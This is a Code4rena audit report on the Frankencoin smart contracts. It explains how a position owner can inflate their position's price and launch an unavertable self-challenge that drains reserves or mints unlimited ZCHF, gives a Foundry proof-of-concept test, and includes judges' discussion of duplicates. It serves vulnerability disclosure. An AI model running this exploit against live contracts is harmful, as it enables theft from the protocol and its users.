Adjusting position prices can lead to unavertable challenges that the protocol will have to pay for

[code423n4]

Lines of code

https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L161-L169
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/MintingHub.sol#L140-L148
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L306-L319
https://github.com/Frankencoin-ZCHF/FrankenCoin/blob/main/contracts/Position.sol#L331-L355

Vulnerability details

Position owners can perform an attack where they challenge their own positions.

Position.adjustPrice allows to set the price of the position to incredibly high values. The position owner can later create a challenge that cannot be averted just by providing the same collateral amount of the position.

The bidding value for averting the position will be extremely high, making it impossible to avert the position.

Once the end function is called it will take all the funds it needs to pay for the challenge. The payment will be inflated because it relies on the inflated price of the position.

Impact

Challenges can be created that cannot be averted. The protocol will have to pay them with the reserves. And if no reserves are sufficient it would lead to unrestricted minting of ZCHF tokens.

Proof of Concept

adjustPrice only restricts minting when setting a bigger price:

function adjustPrice(uint256 newPrice) public onlyOwner noChallenge {
    if (newPrice > price) {
        restrictMinting(3 days);
    } else {
        checkCollateral(collateralBalance(), newPrice);
    }
    price = newPrice;
    emitUpdate();
}

Link to code

The position owner can launch a new challenge against their position. In only cost the same amount of collateral as provided in the position:

    function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
        IPosition position = IPosition(_positionAddr);
        IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
        uint256 pos = challenges.length;
        challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
        position.notifyChallengeStarted(_collateralAmount);
        emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
        return pos;
    }

Link to code

In order for someone to avert the challenge, the tryAvertChallenge function has to succeed when calling bid, but it's not possible. The _bidAmountZCHF would have to be extremely high:

function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) {
    if (block.timestamp >= expiration){
        return false; // position expired, let every challenge succeed
    } else if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount){ // @audit
        // challenge averted, bid is high enough
        challengedAmount -= _collateralAmount;
        // Don't allow minter to close the position immediately so challenge can be repeated before
        // the owner has a chance to mint more on an undercollateralized position
        restrictMinting(1 days);
        return true;
    } else {
        return false;
    }
}

Link to code

Finally, the end function is called and the protocol will have to pay for the challenge. Any other lower bids don't affect the exploit, as the amount to be payed will be huge. It's calculated in notifyChallengeSucceeded. volumeZCHF is responsible for it:

function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
    challengedAmount -= _size;
    uint256 colBal = collateralBalance();
    if (_size > colBal){
        // Challenge is larger than the position. This can for example happen if there are multiple concurrent
        // challenges that exceed the collateral balance in size. In this case, we need to redimension the bid and
        // tell the caller that a part of the bid needs to be returned to the bidder.
        _bid = _divD18(_mulD18(_bid, colBal), _size);
        _size = colBal;
    }

    // Note that thanks to the collateral invariant, we know that
    //    colBal * price >= minted * ONE_DEC18
    // and that therefore
    //    price >= minted / colbal * E18
    // such that
    //    volumeZCHF = price * size / E18 >= minted * size / colbal
    // So the owner cannot maliciously decrease the price to make volume fall below the proportionate repayment.
    uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral // @audit
    // The owner does not have to repay (and burn) more than the owner actually minted.  
    uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even

    notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
    internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
    return (owner, _bid, volumeZCHF, repayment, reserveContribution);
}

Link to code

Also worth mentioning that splitting the challenge would not help, as the new challenges respect the same proportion between size and bid. So, bidders would still have to pay much more to bid higher than the attacker

POC Test

Add this test to test/GeneralTest.t.sol and run forge test -m "testAdjustPriceExploit"

function testAdjustPriceExploit() public {
    // Alice is the attacker
    // Alice opens a sound position
    // Cost of opening a position is 1000 * 1e18 ZCHF (1000 swiss francs)
    // 1001 collateral tokens are provided as well
    Position position = Position(initPosition());

    // Mint and send some tokens to Alice to later create a challenge
    col.mint(address(alice), 1001);

    // Calculate the mintable ZCHF tokens provided the collateral for this position
    // In reality it's a little less because of protocol / reserve fees but it doesn't affect the outcome
    // The formula for `mintableTokens` is taken from the code
    // In places like checkCollateral: `collateralReserve * atPrice < minted * ONE_DEC18`
    // Or places like initializeClone: `price = _mint * ONE_DEC18 / _coll;`
    uint256 mintableTokens = position.price() * 1001 / 1e18;
    assertEq(mintableTokens, 100_100 ether);

    // Wait until the cooldown is off
    skip(7 * 86_400 + 60);

    // Perform the attack
    // Alice elevates the price of the position astronomically
    // On the same transaction she creates a challenge for the position providing 1001 collateral tokens
    vm.startPrank(address(alice));
    position.adjustPrice(position.price() * 1 ether);
    uint256 challengeNumber = alice.challenge(hub, address(position), 1001);
    vm.stopPrank();
    
    // The new bidAmount to avert the challenge is huge
    // The attack is unstoppable at this point
    uint256 bidAmount = position.price() * 1001 / 1e18;
    assertEq(bidAmount, 1001 * 1e38);

    // We can even try bidding the challenge with a big bidAmount to check that it cannot be averted
    // It's 5 times bigger than the original `mintableTokens` calculation
    bob.obtainFrankencoins(swap, 500_000 ether);
    vm.startPrank(address(bob));
    hub.bid(challengeNumber, 500_000 ether, 1001);
    vm.stopPrank();

    // Wait until the challenge ends
    skip(1 days);

    // End the challenge and the attack
    vm.startPrank(address(alice));
    hub.end(challengeNumber, false);
    vm.stopPrank();

    // Alice got back half of the total collateral tokens she used for the attack
    assertEq(col.balanceOf(address(alice)), 1001);

    // But she minted a huge amount of ZCHF tokens
    assertEq(zchf.balanceOf(address(alice)), 2002 * 1e36);
}

Tools Used

Manual review

Recommended Mitigation Steps

The key points about this issue are being able to launch a challenge right after increasing the price, being unable to avert the challenge, and the unrestricted funds that the protocol takes care for.

Some suggestions to mitigate this exploit could be setting limits to price adjustment, implement timelocks to prevent instant challenges after price adjustments, add some other option or condition to avert challenges, put some limits to the funds covered by the protocol.

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #973

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #458

[c4-judge]

hansfriese marked the issue as satisfactory

[0xJuancito]

I will point out some observations for this issue to be considered a duplicate of #481, and not of #458.

Duplicate of #481

#481 is just a border case of the deeper underlying reason described on this issue.

The underlying reason is the ability of a position owner to call adjustPrice and set a really high price without restriction.

In the case of #481 it only addresses the border case of the price being type(uint256).max and the impact as the title says "Position owners can deny liquidations".

This finding demonstrates that:

• The attack is valid for any "high values" (not just the max uint256), as it will not make economically sense to avert the challenges.
• The impact is even higher, as it is at protocol level.

The attack is valid for any "high values" (not just the max uint256), as it will not make economically sense to avert the challenges.

The test shows an example of a "high value" when calling adjustPrice:

position.adjustPrice(position.price() * 1 ether);

And how it cannot be averted even with an unreasonable high value to bid against it:

hub.bid(challengeNumber, 500_000 ether, 1001);

type(uint256).max is just a border case for this

The impact is even higher, as it is at protocol level.

As described on the Impact section:

Challenges can be created that cannot be averted. The protocol will have to pay them with the reserves. And if no reserves are sufficient it would lead to unrestricted minting of ZCHF tokens.

Not a duplicate of #458

The root cause of #458 is that positions can be challenged before start time as described on its mitigation:

...when challenges can be started so Positions cannot be challenged before start time and when they are denied.

The root cause of this issue is the ability of a position owner to call adjustPrice and set a really high price without restriction, as described on the `Vulnerability Details section:

Position.adjustPrice allows to set the price of the position to incredibly high values

[hansfriese]

This issue is not a duplicate of #481. #481 assumes the higher price such as type(uint256).max. In this setup, even hub.end will revert, so the owner can deny liquidations. They can keep minted ZCHF, and the collateral remains stuck. But in this issue, price is lower than #481. So hub.end will work and this will profit challenger.